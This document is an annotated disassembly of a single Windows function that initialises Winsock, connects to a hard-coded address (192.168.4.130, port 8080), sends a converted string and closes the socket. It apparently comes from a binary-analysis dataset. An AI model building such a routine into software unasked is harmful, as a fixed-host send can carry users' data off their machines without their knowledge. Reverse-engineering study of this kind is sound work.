Function at 0x4027d0
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x1d8
mov eax, dword [0x40a040]
xor eax, esp
mov dword [esp + 0x1d4], eax
push esi
push edi
lea eax, [esp + 0x48]
mov esi, ecx
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x402a14
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
mov dword [esp + 0xc], edi
cmp edi, 0xffffffff
je 0x402862
mov eax, 2
push 0x1f90
mov word [esp + 0x3c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x3a], ax
lea eax, [esp + 0x3c]
push eax
push str.192.168.4.130
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x10
lea eax, [esp + 0x3c]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40287c
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
pop esi
mov ecx, dword [esp + 0x1d4]
xor ecx, esp
call fcn.004051cc
mov esp, ebp
pop ebp
ret
cmp dword [esi + 0x14], 7
mov eax, dword [esi + 0x10]
jbe 0x40288e
mov ecx, dword [esi]
mov esi, ecx
lea edi, [ecx + eax*2]
jmp 0x402891
lea edi, [esi + eax*2]
xorps xmm0, xmm0
movaps xmmword [esp + 0x10], xmm0
cmp esi, edi
jne 0x4028b5
xor ecx, ecx
mov edx, 0xf
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], edx
mov byte [esp + 0x10], cl
jmp 0x4029b4
sub edi, esi
mov dword [esp + 0x20], 0
sar edi, 1
mov dword [esp + 0x24], 0xf
cmp edi, 0x7fffffff
ja 0x402a28
mov eax, 0xf
cmp edi, eax
jbe 0x402973
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x402926
mov eax, connect
mov dword [esp + 8], connect
add eax, 0x23
push eax
call fcn.004051da
add esp, 4
test eax, eax
je 0x402a04
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
mov eax, dword [esp + 8]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x24], eax
jmp 0x402977
mov ecx, 0x16
cmp eax, ecx
cmovb eax, ecx
mov dword [esp + 8], eax
lea ecx, [eax + 1]
test ecx, ecx
jne 0x402945
mov dword [esp + 0x10], ecx
mov dword [esp + 0x24], eax
jmp 0x402977
cmp ecx, 0x1000
jb 0x40295a
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x402a2d
jmp 0x4028fe
push ecx
call fcn.004051da
mov ecx, eax
add esp, 4
mov eax, dword [esp + 8]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x24], eax
jmp 0x402977
mov ecx, dword [esp + 0x10]
cmp eax, 0xf
lea edx, [esp + 0x10]
cmova edx, ecx
mov dword [esp + 8], edx
mov ecx, edx
mov edx, edi
test edi, edi
je 0x4029a0
nop dword [eax]
mov al, byte [esi]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
lea esi, [esi + 2]
sub edx, 1
jne 0x402990
mov eax, dword [esp + 8]
mov dword [esp + 0x20], edi
mov byte [eax + edi], 0
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push 0
cmp edx, 0xf
push ecx
cmova eax, dword [esp + 0x18]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x402a14
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402a0a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402a0a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040531f
add esp, 8
mov ecx, dword [esp + 0x1dc]
pop edi
pop esi
xor ecx, esp
call fcn.004051cc
mov esp, ebp
pop ebp
ret
call fcn.00401170
call fcn.004010d0
int3